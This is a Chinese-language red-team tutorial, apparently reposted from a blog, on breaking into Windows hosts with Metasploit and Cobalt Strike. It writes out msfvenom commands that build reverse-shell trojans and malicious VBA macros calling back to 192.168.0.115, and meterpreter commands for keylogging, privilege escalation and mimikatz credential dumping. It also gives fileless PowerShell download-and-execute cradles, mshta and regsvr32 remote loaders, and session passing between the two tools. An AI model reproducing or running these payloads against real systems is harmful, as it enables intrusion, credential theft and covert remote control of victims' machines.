• 5.使用漏洞利用的方式攻破目标之主机篇


    0x01. 漏洞的概述

    1. 漏洞概述

    漏洞是程序或系统造成的缺失从而导致的

    漏洞可以分为两种,一种是系统漏洞另一种是服务漏洞,系统漏洞比如前段时间爆出的CVE-2020-0796_RCE漏洞,该漏洞可以直接通过脚本来进行复现,其中服务漏洞,例如Apache解析了漏洞就算一种服务漏洞,我们可以上传图片到指定的网站来进行网页木马执行。

    在红队攻防的时候,当我们打入内网的时候,我们就需要详细的进行了解该内网的一个资产情况,之后再对其分析存活主机的漏洞情况,之后再通过漏洞去横向其他机器。

    image-20210704104641528

    2. Windows主机漏洞

    • CVE-2008-4250 MSO8-067是处于XP上的一个漏洞,可直接攻破主机拿到权限
    • MS12-020死亡蓝屏在主机开启3389的情况下,我们可以使用该漏洞直至对方蓝屏
    • 永恒之蓝永恒之蓝这个漏洞大家应该熟悉,当年被wanna cry利用勒索
    • CVE-2019-0708该漏洞是RDP远程执行漏洞可以对其直接执行命令或蓝屏
    • CVE-2020-0796该漏洞处于Windows10下可直接rce

    3. Windows程序漏洞

    • Chrome浏览器漏洞

    • phpstudy后门远程执行

    • hfs.exe文件服务器工具远程执行

    • 小皮面板

    • Filezilla第三方提权

    0x02. metasploit漏洞利用框架

    1. metasploit漏洞利用框架

    它的全称叫做The Metasploit Framework,简称叫做MSF。Metasploit作为全球最受欢迎的工具,不仅仅是因为它的方便性和强大性,更重要的是它的框架。它允许使用者开发自己的漏洞脚本,从而进行测试。

    几乎任何公开通用漏洞都会被添加到Metasploit的武器库里,所以用好Metasploit是渗透致胜的关键。

    msf的安装可以使用kali linux自带的,或者直接从网上下载

    wget https://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run
    

    2. MSF配置监听

    1.开始设置监听
    use exploit/multi/handler 
    2.设置patyload
    set payload windows/meterpreter/reverse_tcp
    3.查看配置
    show options
    

    3. metasploit配置监听问题

    • 在配置监听之前,我们需要明确的知道生成x64和x86版本的木马
    • 如监听器是64位,上线32位的木马,那么就会造成很大的问题
    • 例如我们在对永恒之蓝攻击的时候就会造成机器的蓝屏故障

    4. MSF生成木马

    msfvenom -p payload LHOST=本地地址 LPORT=本地端口 -f 文件类型 -o 木马文件
    如:
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.115 LPORT=4443 -f exe >shell.exe
    

    配置好即可连接,点击exe执行即可上线

    image-20210704110501115

    shell         进入windows平台的cmd , 如果乱码 chcp 65001 (设置英文编码)
    

    补充 :msfvenom的常用命令 https://www.cnblogs.com/ChangeEverything/p/13862642.html

    5. MSF的常用session操作

    background                                 返回主监听隐藏
    session. sessions -i [ID]                可进入某个session
    portfwd add -l 3389-p 3389 -r [target host]                  可实现于端口转发
    upload                                         上传文件
    download                                    下载文件
    keyscan_start和keyscan_dump    可实现键盘记录
    screenshot                                   截图
    run vnc                                         远程桌面监控 , 一般不建议,很容易被杀
    getsystem                                    获取超级系统权限
    migrate                                        进程迁移
    

    6. 基于MSF的端口扫描

    search auxiliary/scanner/portscan
    

    使用tcp扫描做一个演示

    image-20210704113203257

    image-20210704113227849

    7. 收集内网smb信息

    1.通过收集smb版本信息 , 查看使用的操作系统版本 , 如果大多是win10 , 很有可能是一个办公网
    如果是win7 或者 win7 server的话 , 可能是一个服务内网
    

    image-20210704113644122

    image-20210704113712923

    8. MSF针对系统漏洞验证

    在MSF中,前缀为: auxiliary,大部分都是漏洞验证模块,我们可以使用其验证模块来鉴定

    目标系统是否存在漏洞。

    image-20210704113840687

    9. MSF针对系统漏洞利用

    我们使用MSF对其攻破Windows主机,利用漏洞目标为:永恒之蓝

    接下来,我会讲解各个操作:

    image-20210704114139136

    image-20210704114157646

    10. MSF利用宏病毒上线

    使用该命令即可创建宏文件·操作流程我会给大家演示

    生成恶意宏代码

    msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.115 lport=6666 -f vba -o /var/www/html/shell.vba
    

    然后新建一个doc文档,录制宏,停止录制,然后编辑宏,把生成的代码替换原本的宏代码,保存退出

    然后把doc发给靶机 , 打开就上线 , 前提是对方开了支持宏,默认是关闭的

    11. MSF利用浏览器漏洞上线

    browser_autopwn是Metasploit提供的辅助功能模块,在用户访问Web页面时,它会自动攻击受害者的浏览器,在开始攻击之前 , browser_autopwn能够检测用户使用的浏览器类型 , browser_autopwn将根据浏览器的检测结果,自行部署最合适的exploit。

    我们可以使用browser自动化的攻击浏览器。会生成一个url地址 , 受害者浏览器访问 , 有漏洞才会攻击成功

    image-20210704180354959

    0x03. msf后渗透利用

    前提是已经上线了

    1. MSF假冒令牌

    msf可以假冒令牌进行伪造身份提权

    use incognito              使用模块list_tokens -u              查看可用的令牌impersonate_token     导入令牌
    

    2. MSF提权getsystem命令

    在了解getsystem命令之前了解一下命名管道,命名管道基于smb协议通信,smb,smb

    它是用来让两个进程间进行通信的,这两个进程可以是本地进程,也可以是远程进程。命名管道有点类似于socket连接,是用来传输数据的,可以设置具体的权限让指定权限的进程才能连接命名管道,理论上每个程序都能连接命名管道,只是连接之后能做的事情不同,具体能做什么事跟服务端的配置有关系。

    原理过程 : 在一个拥有SelmpersonatePrivilege权限的用户(User组)启动一个进程,这个进程的作用是创建一个命名管道等待连接,连接成功后模拟客户端的权限,并用这个权限启动一个cmd窗口。

    但是不保证百分之百提权成功

    3. MSF使用ms16_032提权

    使用方法直接搜search ms16_032

    之后去设置session ID,就可以对其进行提权了

    4. MSF使用mimikatz

    前提是system权限 但是msf6中mimikatz就已经改名字了,名字为kiwi

    在后渗透中,mimikatz也是非常重要的一块,msf也自带了mimikatz模块

    load mimikatzl         载入模块creds_allhelp kiwikiwi_cmd "命令"      即可使用
    

    0x04. cobalt strike 工具

    1. CS介绍

    Cobalt Strike是一款渗透测试神器,简称:CS,常被业界人称为CS神器。Cobalt Strike已经不再使用MSF而是作为单独的平台使用,它分为客户端与服务端,服务端是一个,客户端可以有多个,可被团队进行分布式协团操作。

    CS具有一个服务端和一个客户端,服务端可以进行多人连接(多人运动),之后对其高级APT威胁,针对于红队而言,大部分远控都是使用的CS来进行控制的,因为界面化的操作更好的管理其主机。

    image-20210704212545697

    2. CS监听器介绍

    监听器类似于我们刚刚在MSF中学到的端口监听,因为主机上线需要连接一个监听的端口这样才能实现我们进行控制,在CS中,监听器默认是HTTP协议的。

    设置监听端口只需要输入 ip port name 然后保存就好了

    image-20210704212630689

    3. CS上线类型

    CS支持多种花样上线模式,在这里逐个给大家介绍 :

    1. exe上线

    生成直接双击执行 , 没啥好说的
    

    2. powershell command 上线

    第一步选择payload生成

    image-20210704220657381

    image-20210704220726604

    第二步将生成的payload在靶机的命令行回车执行 , 上线

    image-20210704220829886

    image-20210704220914913

    3. Scripted Web Delivery(S)上线

    第一步选择相应的攻击方式

    image-20210704220231912

    第二步输入配置 , 生成

    image-20210704220319694

    image-20210704220340386

    powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.0.115:8085/abc'))"
    
    本质上也是通过powershell远程加载上线 (可能360会拦截,测试没拦截)
    

    第三步靶机命令行中输入生成的命令

    image-20210704220617832

    4. 通过宏病毒上线

    跟msf那个一样的操作生成宏病毒 , 然后更换原本的宏代码

    image-20210704221237825

    image-20210704221648849

    image-20210704221700208

    5. mshta 上线

    首先生成一个hta文件

    image-20210704221810897

    image-20210704221837279

    然后通过cs开启一个web服务

    image-20210704222018645

    选择对应的文件下载

    image-20210704222251628

    image-20210704222138866

    image-20210704222157715

    最后在靶机执行命令

    mshta http://192.168.0.115:8086/download/file.hta
    

    image-20210704222404256

    复现失败 , 百度解决问题

    6. DLL文件上线

    首先生成dll文件

    image-20210704222939260

    image-20210704223007128

    将生成的dll文件上传到靶机 , 然后在靶机注册dll文件上线

    regsvr32 artifact.dll
    

    image-20210704223235038

    4. CS无文件上线

    在木马不免杀的情况下,无文件上线是最好的选择

    1. mshta 远程地址
    
    2.powershell.exe -nop -w hidden -c "IEX((new-object
    net.webclient).downloadstring('http://192.168.0.133/payload.ps1'))"
    
    3.regsvr32 /u /n /s li:http://127.0.0.1:80/a.png scrobj.dll
    
    4.使用自带的远程无文件加载脚本功能
    

    5. CS和msf的相互派生

    cs会话派生给msf

    1. 首先msf先监听一个端口
    

    image-20210704224209481

    2.cs新建一个监听器
    

    image-20210704224406167

    3.选中上线的靶机,增加会话
    

    image-20210704224515537

    image-20210704224528422

    派生成功 ,但是我这边没有显示meterprete

    image-20210704224719298

    msf派生给cs

    msf中的操作
    上线后将会话放置后台
    use exploit/windows/local/payload_inject
    set payload windows/meterpreter/reverse_http
    set LHOST 192.168.0.163                cs的ip
    set LPORT 8288                               cs监听的端口
    set session 1
    set DisablePayloadHandler true
    run
    

    6. 祷杌插件介绍

    祷杌是一款多功能的插件,该插件内置提权,mimikatz等功能,可方便我们进行内网渗透。

    github搜索 taowu即可 
    

    安装步骤 :导入插件,选择下载中的cna文件即可

    image-20210705203448160

    image-20210705221042606

  • 相关阅读:
    【进阶技术】一篇文章搞掂:Spring Cloud Stream
    es6的foreach循环遍历
    centos下安装redis
    linux下安装nginx
    centos下安装Mysql5.7.20
    ubuntu下安装Mysql
    Maven发布项目丢失Mybatis Mapper包的映射问题
    linux下导入导出oracle的dmp文件
    表达式计算-----------eval()运算符
    Linux下安装mysql
  • 原文地址:https://www.cnblogs.com/xcymn/p/15721443.html
Copyright © 2020-2023  润新知